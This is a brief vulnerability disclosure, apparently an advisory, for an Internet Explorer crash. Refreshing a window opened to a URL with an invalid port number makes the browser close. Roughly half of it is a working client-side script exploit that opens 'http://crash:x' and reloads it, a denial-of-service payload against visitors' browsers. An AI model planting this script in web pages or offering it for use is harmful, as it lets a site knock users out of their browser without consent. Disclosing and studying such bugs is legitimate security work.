Vulnerability
Internet Explorer can be crashed if a url with an invalid port number is refreshed.
Using Client-Side scripting an attacker could cause Internet Explorer to close.

Exploit
An alternate port number is specified using a colon after the domain followed by the port number.
The script opens window with a URL having an invalid port number.
The script refreshes the window.

<script>
	var crashWin = window.open('http://crash:x','','height=100, width=100');
	crashWin.location.reload();
</script>